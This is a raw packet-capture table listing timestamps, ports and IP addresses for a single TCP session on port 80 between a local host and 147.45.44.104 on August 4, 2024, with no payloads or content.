Aug 4, 2024 02:21:35.981434107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981446981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981488943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981533051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981565952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981581926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981611967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.981880903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981981993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.981988907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982014894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.982024908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982055902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982183933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.982213020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.982235909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982259035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982580900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.982633114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982695103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.982727051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.982748985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.982773066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.983030081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.983061075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.983088017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.983093977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.983103037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.983139992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.983933926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.983989000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.984030008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.984065056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.984083891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.984110117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.984378099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.984410048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.984435081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.984443903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.984450102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.984492064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.985152006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.985204935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.985301018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.985341072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.985358000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.985388041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.985451937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.985506058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.985508919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.985546112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.985553026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.985594988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.986238956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.986290932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:35.986516953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:35.986569881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.103276968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.103311062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.103341103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.103344917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.103369951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.103394032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.103791952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.103841066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.103935957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.103965044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.103991985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104011059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104160070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104192972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104218006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104235888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104281902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104331970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104532957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104566097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104585886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104614973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104618073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104660034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104680061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104720116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.104954004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.104985952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.105026007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.105043888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.105103970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.105134964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.105165005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.105168104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.105184078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.105211973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106389046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.106453896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106587887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.106620073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.106645107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106652975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.106656075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106686115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.106703997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106719971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.106729031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106766939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.106931925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107069969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107311010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107342958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107374907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107376099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107402086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107407093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107423067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107439995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107445955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107485056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107652903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107683897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107703924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107717991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.107731104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.107764006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108004093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108035088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108064890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108095884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108575106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108607054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108633041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108642101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108650923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108686924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108721972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108755112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108772039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108787060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108798981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108829021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.108901978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.108947039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.109462976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.109493971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.109515905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.109527111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.109533072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.109571934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.109610081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.109642029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.109658003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.109673977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.109680891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.109723091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.110341072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.110373020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.110397100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.110414028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.110424042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.110475063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.110487938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.110539913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.110909939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.110964060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111120939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111174107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111177921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111217976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111226082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111258030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111269951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111291885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111301899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111339092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111876965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111911058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111942053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.111944914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111957073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.111978054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199256897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199341059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199362040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199394941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199409008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199435949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199543953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199594021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199595928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199628115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199640036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199661970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.199671984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.199708939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200079918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200110912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200134993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200145006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200165033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200176954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200189114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200208902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200232983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200257063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200577021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200627089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200629950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200660944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200671911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200692892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200705051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200726986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200742006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200758934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200773001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200792074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200809956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200824022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200835943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200858116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.200870037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.200902939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201482058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201514006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201529980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201546907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201565981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201581001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201592922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201613903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201627016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201647043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201658964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201679945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.201693058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.201724052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202250004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202280998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202297926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202312946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202327013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202344894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202359915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202378988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202390909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202410936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202421904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202444077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202454090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202523947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.202533960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.202568054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203296900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203329086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203346968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203360081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203371048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203392982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203402996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203424931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203438044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203457117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203469992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203489065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203500032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203521967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203531981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203553915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203566074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203587055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.203596115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.203630924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204087973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204121113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204134941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204153061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204165936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204185963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204195976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204217911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204227924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204252005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204262018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204284906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204296112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204317093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204328060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204349041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.204360008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.204394102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205049992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205082893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205099106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205115080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205138922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205151081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205159903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205183029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205192089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205216885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205228090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205249071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205264091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205281019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205291986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205312014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.205327034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.205362082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206020117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206052065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206084013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206084013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206113100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206116915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206141949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206150055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206162930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206182957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206197023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206214905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206227064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206248045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206262112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206279039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.206294060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206326008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.206979990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207011938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207041979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207043886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207067013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207077026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207087994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207108974 CEST	80	49757	147.45.44.104	192.168.2.4
